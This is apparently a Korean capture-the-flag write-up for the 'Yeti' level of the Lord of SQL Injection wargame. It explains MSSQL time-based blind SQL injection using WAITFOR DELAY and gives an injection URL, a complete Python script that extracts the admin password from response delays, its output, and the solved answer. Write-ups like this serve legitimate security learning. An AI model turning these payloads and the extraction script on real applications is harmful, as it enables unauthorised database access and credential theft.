WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 43 - Yeti

이번 문제는 예티이다. Yeti라고 했을 때 아래 예티가 가장 먼저 떠올랐다면 우리는 훌륭한 공익이다.

< 출처 : 메이플스토리 팬덤 위키 https://maplestory.fandom.com/ko/wiki/%EC%98%88%ED%8B%B0_(%EC%A7%81%EC%97%85)>


코드

저번 레버넌트와 같은 mssql문제이다. id와 pw에 대해 master, sys, information 등 메타 테이블 접근을 차단한 것이 눈에 띈다. admin의 정확한 pw를 알아야 하는 걸 봐서 blind sql injection을 시행하거나, 새로운 방법을 시도해야 될 거 같다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=6425b725

전형적인 Time based sql injection으로 해결이 가능하다. 참고로 이야기를 하자면, mssql은 sleep함수가 없다. waitfor라는 키워드가 sleep처럼 사용되며, 아래와 같은 사용법을 가진다.

아래 MSDN의 사용법에 더욱 자세하게 나와있으니 참고바란다.

docs.microsoft.com/ko-kr/sql/t-sql/language-elements/waitfor-transact-sql?view=sql-server-ver15

 

WAITFOR (Transact-SQL) - SQL Server

WAITFOR(Transact-SQL)

docs.microsoft.com

즉 wairfor와 조건문을 잘 활용하면 response time을 통하 time based blind sql injection이 가능하다.

try : ?id=1&pw=1%27 if((select len(pw) from prob_yeti where id=%27admin%27)>0) waitfor delay %2700:00:03%27--%20

 

다음은 이를 활용한 Python 코드이다.

import string
import time
from requests import get

if __name__=="__main__" :

    url = "### YETI의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?id=1&pw=1%27 if((select len(pw) from prob_yeti where id=%27admin%27)="+str(length)+") waitfor delay %2700:00:03%27--%20"
        new_url = url+param
        
        start = time.time()
        req = get(new_url,cookies=cookie)
        end = time.time()
        
        if end-start > 2:
            print("Found PW length",length)
            break
            
        length+=1
        


    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        index = 0
        for a in letters :
            param = "?id=1&pw=1%27 if((select pw from prob_yeti where id=%27admin%27) < %27"+password+a+"%27) waitfor delay %2700:00:03%27--%20"
            new_url = url+param

            start = time.time()
            req = get(new_url,cookies=cookie)
            end = time.time()

            if end-start > 2:
                index = letters.index(a)
                print("find "+str(i)+"'s letter : "+a)
                break
        
        password += letters[index-1]
        

    print("="*25)
    print("find password : "+password)

출력은 다음과 같다

### START BLIND SQL INJECTION ###


### LENGTH of PASSWORD SEARCH ###
Found PW length 8


### PASSWORD SEARCH ###
find 1's letter : 7
find 2's letter : 5
find 3's letter : 3
find 4's letter : 6
find 5's letter : c
find 6's letter : 8
find 7's letter : 3
find 8's letter : 6
=========================
find password : 6425b725

완벽!


벌써 43번째 몬스터를 물리치고 이제 5마리의 몬스터밖에 남지 않았다. 다음 관문에서 기다리겠다.